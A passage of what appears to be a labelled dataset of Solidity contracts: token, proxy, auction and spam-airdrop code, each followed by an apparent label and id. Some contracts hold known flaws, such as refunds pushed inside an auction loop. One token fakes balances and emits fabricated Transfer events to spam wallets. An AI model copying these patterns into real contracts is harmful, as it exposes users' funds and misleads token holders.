function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Cpollo";
string public constant TOKEN_SYMBOL = "CPLO";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x1415241a0025290E03B97Ab3922DF216D0d77d15;
uint public constant START_TIME = 1534737600;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 3,231 |
pragma solidity 0.4.15;
contract RegistryICAPInterface {
function parse(bytes32 _icap) constant returns(address, bytes32, bool);
function institutions(bytes32 _institution) constant returns(address);
}
contract EToken2Interface {
function registryICAP() constant returns(RegistryICAPInterface);
function baseUnit(bytes32 _symbol) constant returns(uint8);
function description(bytes32 _symbol) constant returns(string);
function owner(bytes32 _symbol) constant returns(address);
function isOwner(address _owner, bytes32 _symbol) constant returns(bool);
function totalSupply(bytes32 _symbol) constant returns(uint);
function balanceOf(address _holder, bytes32 _symbol) constant returns(uint);
function isLocked(bytes32 _symbol) constant returns(bool);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) returns(bool);
function reissueAsset(bytes32 _symbol, uint _value) returns(bool);
function revokeAsset(bytes32 _symbol, uint _value) returns(bool);
function setProxy(address _address, bytes32 _symbol) returns(bool);
function lockAsset(bytes32 _symbol) returns(bool);
function proxyTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(bool);
function allowance(address _from, address _spender, bytes32 _symbol) constant returns(uint);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(bool);
}
contract AssetInterface {
function _performTransferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferToICAPWithReference(bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performApprove(address _spender, uint _value, address _sender) returns(bool);
function _performTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performGeneric(bytes, address) payable {
revert();
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
function totalSupply() constant returns(uint256 supply);
function balanceOf(address _owner) constant returns(uint256 balance);
function transfer(address _to, uint256 _value) returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) returns(bool success);
function approve(address _spender, uint256 _value) returns(bool success);
function allowance(address _owner, address _spender) constant returns(uint256 remaining);
function decimals() constant returns(uint8);
}
contract AssetProxyInterface {
function _forwardApprove(address _spender, uint _value, address _sender) returns(bool);
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function balanceOf(address _owner) constant returns(uint);
}
contract Bytes32 {
function _bytes32(string _input) internal constant returns(bytes32 result) {
assembly {
result := mload(add(_input, 32))
}
}
}
contract ReturnData {
function _returnReturnData(bool _success) internal {
assembly {
let returndatastart := msize()
mstore(0x40, add(returndatastart, returndatasize))
returndatacopy(returndatastart, 0, returndatasize)
switch _success case 0 { revert(returndatastart, returndatasize) } default { return(returndatastart, returndatasize) }
}
}
function _assemblyCall(address _destination, uint _value, bytes _data) internal returns(bool success) {
assembly {
success := call(div(mul(gas, 63), 64), _destination, _value, add(_data, 32), mload(_data), 0, 0)
}
}
}
contract Reputy is ERC20Interface, AssetProxyInterface, Bytes32, ReturnData {
EToken2Interface public etoken2;
bytes32 public etoken2Symbol;
string public name;
string public symbol;
function init(EToken2Interface _etoken2, string _symbol, string _name) returns(bool) {
if (address(etoken2) != 0x0) {
return false;
}
etoken2 = _etoken2;
etoken2Symbol = _bytes32(_symbol);
name = _name;
symbol = _symbol;
return true;
}
modifier onlyEToken2() {
if (msg.sender == address(etoken2)) {
_;
}
}
modifier onlyAssetOwner() {
if (etoken2.isOwner(msg.sender, etoken2Symbol)) {
_;
}
}
function _getAsset() internal returns(AssetInterface) {
return AssetInterface(getVersionFor(msg.sender));
}
function recoverTokens(uint _value) onlyAssetOwner() returns(bool) {
return this.transferWithReference(msg.sender, _value, 'Tokens recovery');
}
function totalSupply() constant returns(uint) {
return etoken2.totalSupply(etoken2Symbol);
}
function balanceOf(address _owner) constant returns(uint) {
return etoken2.balanceOf(_owner, etoken2Symbol);
}
function allowance(address _from, address _spender) constant returns(uint) {
return etoken2.allowance(_from, _spender, etoken2Symbol);
}
function decimals() constant returns(uint8) {
return etoken2.baseUnit(etoken2Symbol);
}
function transfer(address _to, uint _value) returns(bool) {
return transferWithReference(_to, _value, '');
}
function transferWithReference(address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferWithReference(_to, _value, _reference, msg.sender);
}
function transferToICAP(bytes32 _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferToICAPWithReference(_icap, _value, _reference, msg.sender);
}
function transferFrom(address _from, address _to, uint _value) returns(bool) {
return transferFromWithReference(_from, _to, _value, '');
}
function transferFromWithReference(address _from, address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromWithReference(_from, _to, _value, _reference, msg.sender);
}
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromWithReference(_from, _to, _value, etoken2Symbol, _reference, _sender);
}
function transferFromToICAP(address _from, bytes32 _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromToICAPWithReference(_from, _icap, _value, _reference, msg.sender);
}
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromToICAPWithReference(_from, _icap, _value, _reference, _sender);
}
function approve(address _spender, uint _value) returns(bool) {
return _getAsset()._performApprove(_spender, _value, msg.sender);
}
function _forwardApprove(address _spender, uint _value, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyApprove(_spender, _value, etoken2Symbol, _sender);
}
function emitTransfer(address _from, address _to, uint _value) onlyEToken2() {
Transfer(_from, _to, _value);
}
function emitApprove(address _from, address _spender, uint _value) onlyEToken2() {
Approval(_from, _spender, _value);
}
function () payable {
_getAsset()._performGeneric.value(msg.value)(msg.data, msg.sender);
_returnReturnData(true);
}
function transferToICAP(string _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(string _icap, uint _value, string _reference) returns(bool) {
return transferToICAPWithReference(_bytes32(_icap), _value, _reference);
}
function transferFromToICAP(address _from, string _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, string _icap, uint _value, string _reference) returns(bool) {
return transferFromToICAPWithReference(_from, _bytes32(_icap), _value, _reference);
}
event UpgradeProposed(address newVersion);
event UpgradePurged(address newVersion);
event UpgradeCommited(address newVersion);
event OptedOut(address sender, address version);
event OptedIn(address sender, address version);
address latestVersion;
address pendingVersion;
uint pendingVersionTimestamp;
uint constant UPGRADE_FREEZE_TIME = 3 days;
mapping(address => address) userOptOutVersion;
modifier onlyImplementationFor(address _sender) {
if (getVersionFor(_sender) == msg.sender) {
_;
}
}
function getVersionFor(address _sender) constant returns(address) {
return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender];
}
function getLatestVersion() constant returns(address) {
return latestVersion;
}
function getPendingVersion() constant returns(address) {
return pendingVersion;
}
function getPendingVersionTimestamp() constant returns(uint) {
return pendingVersionTimestamp;
}
function proposeUpgrade(address _newVersion) onlyAssetOwner() returns(bool) {
if (pendingVersion != 0x0) {
return false;
}
if (_newVersion == 0x0) {
return false;
}
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
UpgradeProposed(_newVersion);
return true;
}
function purgeUpgrade() onlyAssetOwner() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
UpgradePurged(pendingVersion);
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function commitUpgrade() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
UpgradeCommited(latestVersion);
return true;
}
function optOut() returns(bool) {
if (userOptOutVersion[msg.sender] != 0x0) {
return false;
}
userOptOutVersion[msg.sender] = latestVersion;
OptedOut(msg.sender, latestVersion);
return true;
}
function optIn() returns(bool) {
delete userOptOutVersion[msg.sender];
OptedIn(msg.sender, latestVersion);
return true;
}
function multiAsset() constant returns(EToken2Interface) {
return etoken2;
}
} | 1 | 4,702 |
pragma solidity ^0.4.19;
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract BasicAccessControl {
address public owner;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
contract EtheremonAdventurePresale is BasicAccessControl {
uint8 constant NO_ETH_SITE = 52;
uint8 constant MAX_BID_PER_SITE = 10;
using AddressUtils for address;
struct BiddingInfo {
address bidder;
uint32 bidId;
uint amount;
uint time;
uint8 siteId;
}
address public tokenContract;
uint32 public totalBid = 0;
uint public startTime;
uint public endTime;
uint public bidETHMin;
uint public bidETHIncrement;
uint public bidEMONTMin;
uint public bidEMONTIncrement;
mapping(uint32 => BiddingInfo) bids;
mapping(uint8 => uint32[]) sites;
event EventPlaceBid(address indexed bidder, uint8 siteId, uint32 bidId, uint amount);
modifier requireTokenContract {
require(tokenContract != address(0));
_;
}
modifier validETHSiteId(uint8 _siteId) {
require(_siteId > 0 && _siteId <= NO_ETH_SITE);
_;
}
modifier validEMONTSiteId(uint8 _siteId) {
require(_siteId == 53 || _siteId == 54);
_;
}
modifier onlyRunning {
require(!isMaintaining);
require(block.timestamp >= startTime && block.timestamp < endTime);
_;
}
function withdrawEther(address _sendTo, uint _amount) onlyModerators public {
if (block.timestamp < endTime)
revert();
if (_amount > this.balance) {
revert();
}
_sendTo.transfer(_amount);
}
function withdrawToken(address _sendTo, uint _amount) onlyModerators requireTokenContract external {
if (block.timestamp < endTime)
revert();
ERC20Interface token = ERC20Interface(tokenContract);
if (_amount > token.balanceOf(address(this))) {
revert();
}
token.transfer(_sendTo, _amount);
}
function EtheremonAdventurePresale(uint _bidETHMin, uint _bidETHIncrement, uint _bidEMONTMin, uint _bidEMONTIncrement, uint _startTime, uint _endTime, address _tokenContract) public {
if (_startTime >= _endTime) revert();
startTime = _startTime;
endTime = _endTime;
bidETHMin = _bidETHMin;
bidETHIncrement = _bidETHIncrement;
bidEMONTMin = _bidEMONTMin;
bidEMONTIncrement = _bidEMONTIncrement;
tokenContract = _tokenContract;
}
function placeETHBid(uint8 _siteId) onlyRunning payable external validETHSiteId(_siteId) {
if (msg.sender.isContract()) revert();
if (msg.value < bidETHMin) revert();
uint index = 0;
totalBid += 1;
BiddingInfo storage bid = bids[totalBid];
bid.bidder = msg.sender;
bid.bidId = totalBid;
bid.amount = msg.value;
bid.time = block.timestamp;
bid.siteId = _siteId;
uint32[] storage siteBids = sites[_siteId];
if (siteBids.length >= MAX_BID_PER_SITE) {
uint lowestIndex = 0;
BiddingInfo storage currentBid = bids[siteBids[0]];
BiddingInfo storage lowestBid = currentBid;
for (index = 0; index < siteBids.length; index++) {
currentBid = bids[siteBids[index]];
if (currentBid.bidder == msg.sender) {
revert();
}
if (lowestBid.amount == 0 || currentBid.amount < lowestBid.amount || (currentBid.amount == lowestBid.amount && currentBid.bidId > lowestBid.bidId)) {
lowestIndex = index;
lowestBid = currentBid;
}
}
if (msg.value < lowestBid.amount + bidETHIncrement)
revert();
siteBids[lowestIndex] = totalBid;
lowestBid.bidder.transfer(lowestBid.amount);
} else {
for (index = 0; index < siteBids.length; index++) {
if (bids[siteBids[index]].bidder == msg.sender)
revert();
}
siteBids.push(totalBid);
}
EventPlaceBid(msg.sender, _siteId, totalBid, msg.value);
}
function placeEMONTBid(address _bidder, uint8 _siteId, uint _bidAmount) requireTokenContract onlyRunning onlyModerators external validEMONTSiteId(_siteId) {
if (_bidder.isContract()) revert();
if (_bidAmount < bidEMONTMin) revert();
uint index = 0;
totalBid += 1;
BiddingInfo storage bid = bids[totalBid];
uint32[] storage siteBids = sites[_siteId];
if (siteBids.length >= MAX_BID_PER_SITE) {
uint lowestIndex = 0;
BiddingInfo storage currentBid = bids[siteBids[0]];
BiddingInfo storage lowestBid = currentBid;
for (index = 0; index < siteBids.length; index++) {
currentBid = bids[siteBids[index]];
if (currentBid.bidder == _bidder) {
revert();
}
if (lowestBid.amount == 0 || currentBid.amount < lowestBid.amount || (currentBid.amount == lowestBid.amount && currentBid.bidId > lowestBid.bidId)) {
lowestIndex = index;
lowestBid = currentBid;
}
}
if (_bidAmount < lowestBid.amount + bidEMONTIncrement)
revert();
bid.bidder = _bidder;
bid.bidId = totalBid;
bid.amount = _bidAmount;
bid.time = block.timestamp;
siteBids[lowestIndex] = totalBid;
ERC20Interface token = ERC20Interface(tokenContract);
token.transfer(lowestBid.bidder, lowestBid.amount);
} else {
for (index = 0; index < siteBids.length; index++) {
if (bids[siteBids[index]].bidder == _bidder)
revert();
}
bid.bidder = _bidder;
bid.bidId = totalBid;
bid.amount = _bidAmount;
bid.time = block.timestamp;
siteBids.push(totalBid);
}
EventPlaceBid(_bidder, _siteId, totalBid, _bidAmount);
}
function getBidInfo(uint32 _bidId) constant external returns(address bidder, uint8 siteId, uint amount, uint time) {
BiddingInfo memory bid = bids[_bidId];
bidder = bid.bidder;
siteId = bid.siteId;
amount = bid.amount;
time = bid.time;
}
function getBidBySiteIndex(uint8 _siteId, uint _index) constant external returns(address bidder, uint32 bidId, uint8 siteId, uint amount, uint time) {
bidId = sites[_siteId][_index];
if (bidId > 0) {
BiddingInfo memory bid = bids[bidId];
bidder = bid.bidder;
siteId = bid.siteId;
amount = bid.amount;
time = bid.time;
}
}
function countBid(uint8 _siteId) constant external returns(uint) {
return sites[_siteId].length;
}
function getLowestBid(uint8 _siteId) constant external returns(uint lowestAmount) {
uint32[] storage siteBids = sites[_siteId];
lowestAmount = 0;
for (uint index = 0; index < siteBids.length; index++) {
if (lowestAmount == 0 || bids[siteBids[index]].amount < lowestAmount) {
lowestAmount = bids[siteBids[index]].amount;
}
}
}
} | 1 | 4,250 |
pragma solidity ^0.4.18;
contract ERC20 {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract HasNoTokens is Ownable {
event ExtractedTokens(address indexed _token, address indexed _claimer, uint _amount);
function extractTokens(address _token, address _claimer) onlyOwner public {
if (_token == 0x0) {
_claimer.transfer(this.balance);
return;
}
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(_claimer, balance);
ExtractedTokens(_token, _claimer, balance);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
function totalSupply () view public returns (uint256 supply);
function balanceOf (address _owner) view public returns (uint256 balance);
function transfer (address _to, uint256 _value) public returns (bool success);
function transferFrom (address _from, address _to, uint256 _value) public returns (bool success);
function approve (address _spender, uint256 _value) public returns (bool success);
function allowance (address _owner, address _spender) view public returns (uint256 remaining);
event Transfer (address indexed _from, address indexed _to, uint256 _value);
event Approval (address indexed _owner, address indexed _spender, uint256 _value);
}
contract AbstractToken is Token {
using SafeMath for uint;
function AbstractToken () public payable{
}
function balanceOf (address _owner) view public returns (uint256 balance) {
return accounts[_owner];
}
function transfer (address _to, uint256 _value) public returns (bool success) {
uint256 fromBalance = accounts[msg.sender];
if (fromBalance < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts[msg.sender] = fromBalance.sub(_value);
accounts[_to] = accounts[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
return true;
}
function transferFrom (address _from, address _to, uint256 _value) public returns (bool success) {
uint256 spenderAllowance = allowances[_from][msg.sender];
if (spenderAllowance < _value) return false;
uint256 fromBalance = accounts[_from];
if (fromBalance < _value) return false;
allowances[_from][msg.sender] = spenderAllowance.sub(_value);
if (_value > 0 && _from != _to) {
accounts[_from] = fromBalance.sub(_value);
accounts[_to] = accounts[_to].add(_value);
Transfer(_from, _to, _value);
}
return true;
}
function approve (address _spender, uint256 _value) public returns (bool success) {
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance (address _owner, address _spender) view public returns (uint256 remaining) {
return allowances[_owner][_spender];
}
mapping (address => uint256) accounts;
mapping (address => mapping (address => uint256)) private allowances;
}
contract AbstractVirtualToken is AbstractToken {
using SafeMath for uint;
uint256 constant MAXIMUM_TOKENS_COUNT = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
uint256 constant BALANCE_MASK = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
uint256 constant MATERIALIZED_FLAG_MASK = 0x8000000000000000000000000000000000000000000000000000000000000000;
function AbstractVirtualToken () public{
}
function totalSupply () view public returns (uint256 supply) {
return tokensCount;
}
function balanceOf (address _owner) constant public returns (uint256 balance) {
return (accounts[_owner] & BALANCE_MASK).add(getVirtualBalance(_owner));
}
function transfer (address _to, uint256 _value) public returns (bool success) {
if (_value > balanceOf(msg.sender)) return false;
else {
materializeBalanceIfNeeded(msg.sender, _value);
return AbstractToken.transfer(_to, _value);
}
}
function transferFrom (address _from, address _to, uint256 _value) public returns (bool success) {
if (_value > allowance(_from, msg.sender)) return false;
if (_value > balanceOf(_from)) return false;
else {
materializeBalanceIfNeeded(_from, _value);
return AbstractToken.transferFrom(_from, _to, _value);
}
}
function virtualBalanceOf (address _owner) internal view returns (uint256 _virtualBalance);
function getVirtualBalance (address _owner) private view returns (uint256 _virtualBalance) {
if (accounts [_owner] & MATERIALIZED_FLAG_MASK != 0) return 0;
else {
_virtualBalance = virtualBalanceOf(_owner);
uint256 maxVirtualBalance = MAXIMUM_TOKENS_COUNT.sub(tokensCount);
if (_virtualBalance > maxVirtualBalance)
_virtualBalance = maxVirtualBalance;
}
}
function materializeBalanceIfNeeded (address _owner, uint256 _value) private {
uint256 storedBalance = accounts[_owner];
if (storedBalance & MATERIALIZED_FLAG_MASK == 0) {
if (_value > storedBalance) {
uint256 virtualBalance = getVirtualBalance(_owner);
require (_value.sub(storedBalance) <= virtualBalance);
accounts[_owner] = MATERIALIZED_FLAG_MASK | storedBalance.add(virtualBalance);
tokensCount = tokensCount.add(virtualBalance);
}
}
}
uint256 tokensCount;
}
contract PornLoversToken is HasNoTokens, AbstractVirtualToken {
uint256 private constant VIRTUAL_THRESHOLD = 0.1 ether;
uint256 private constant VIRTUAL_COUNT = 91;
event LogBonusSet(address indexed _address, uint256 _amount);
function virtualBalanceOf(address _owner) internal view returns (uint256) {
return _owner.balance >= VIRTUAL_THRESHOLD ? VIRTUAL_COUNT : 0;
}
function name() public pure returns (string result) {
return "91porn.com";
}
function symbol() public pure returns (string result) {
return "91porn";
}
function decimals() public pure returns (uint8 result) {
return 0;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bool success = super.transfer(_to, _value);
return success;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
bool success = super.transferFrom(_from, _to, _value);
return success;
}
function massNotify(address[] _owners) public onlyOwner {
for (uint256 i = 0; i < _owners.length; i++) {
Transfer(address(0), _owners[i], VIRTUAL_COUNT);
}
}
function kill() public onlyOwner {
selfdestruct(owner);
}
} | 1 | 3,906 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
